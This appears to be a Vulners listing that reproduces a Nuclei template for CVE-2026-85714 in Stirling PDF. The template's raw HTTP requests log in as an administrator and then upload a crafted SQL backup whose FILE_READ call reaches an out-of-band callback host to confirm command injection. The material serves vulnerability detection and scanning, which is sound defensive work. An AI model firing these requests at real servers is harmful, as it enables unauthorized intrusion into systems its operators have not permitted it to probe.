Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| stirling-h2-import-leftover | 17 Oct 202623:55 | – | githubexploit | |
| CVE-2026-85714 | 2 Oct 202609:40 | – | circl | |
| CVE-2026-85714 | 14 Oct 202618:22 | – | cve | |
| CVE-2026-85714 Stirling-PDF: Remote Code Execution via H2 | 14 Oct 202618:22 | – | cvelist | |
| EUVD-2026-101594 | 14 Oct 202618:22 | – | euvd | |
| CVE-2026-85714 | 14 Oct 202618:22 | – | mend | |
| CVE-2026-85714 | 14 Oct 202619:17 | – | nvd | |
| CVE-2026-85714 Stirling-PDF: Remote Code Execution via H2 | 14 Oct 202618:22 | – | osv_cve | |
| PT-2026-104343 | 2 Oct 202600:00 | – | ptsecurity | |
| CVE-2026-85714: Improper Control of Generation of Code | 14 Oct 202600:00 | – | rapid7 |
10
id: CVE-2026-85714
info:
name: Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution
author: Securin,AlanNewberry
severity: critical
description: |
Stirling-PDF < 2.13.2 contains a command injection caused by insufficient SQL whitelist validation in DatabaseService.validateSqlContent(), letting authenticated administrators execute arbitrary OS commands via crafted SQL files, exploit requires admin authentication and default H2 database with security mode.
impact: |
Authenticated administrators can execute arbitrary OS commands as the JVM service account, leading to full system compromise.
remediation: |
Update to version 2.13.2 or later.
reference:
- https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-mrr8-934j-4g8m
- https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-53mw-phj8-qw64
- https://nvd.nist.gov/vuln/detail/CVE-2026-85714
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-85714
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: stirling-tools
product: stirling-pdf
shodan-query: http.title:"Stirling PDF"
fofa-query: title="Stirling PDF"
tags: cve,cve2026,stirling-pdf,h2,rce,authenticated,default-login,oast,intrusive
variables:
table: "{{to_lower(rand_text_alpha(10))}}"
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"username":"{{username}}","password":"{{password}}"}
- |
POST /api/v1/database/import-database HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: multipart/form-data; boundary=----NucleiStirlingBoundary
------NucleiStirlingBoundary
Content-Disposition: form-data; name="fileInput"; filename="backup.sql"
Content-Type: application/sql
CREATE TABLE IF NOT EXISTS n_{{table}}(c CLOB);
INSERT INTO n_{{table}} VALUES(FILE_READ('http://{{interactsh-url}}/{{table}}', NULL));
INSERT INTO x_{{table}} VALUES(NULL);
------NucleiStirlingBoundary--
extractors:
- type: json
name: token
part: body_1
internal: true
json:
- '.session.access_token'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
condition: or
- type: word
part: body
words:
- "Backup verification failed"
# digest: 490a0046304402205a6aad847ecd426495f88f79c67fb164090a064b0dedeaf6cd5d1596a438f382022042295958c543e1d50326985411eda6071c9208012f27879833e9983d121d9ec7:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2026 10:10Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.1
EPSS0.00629
SSVC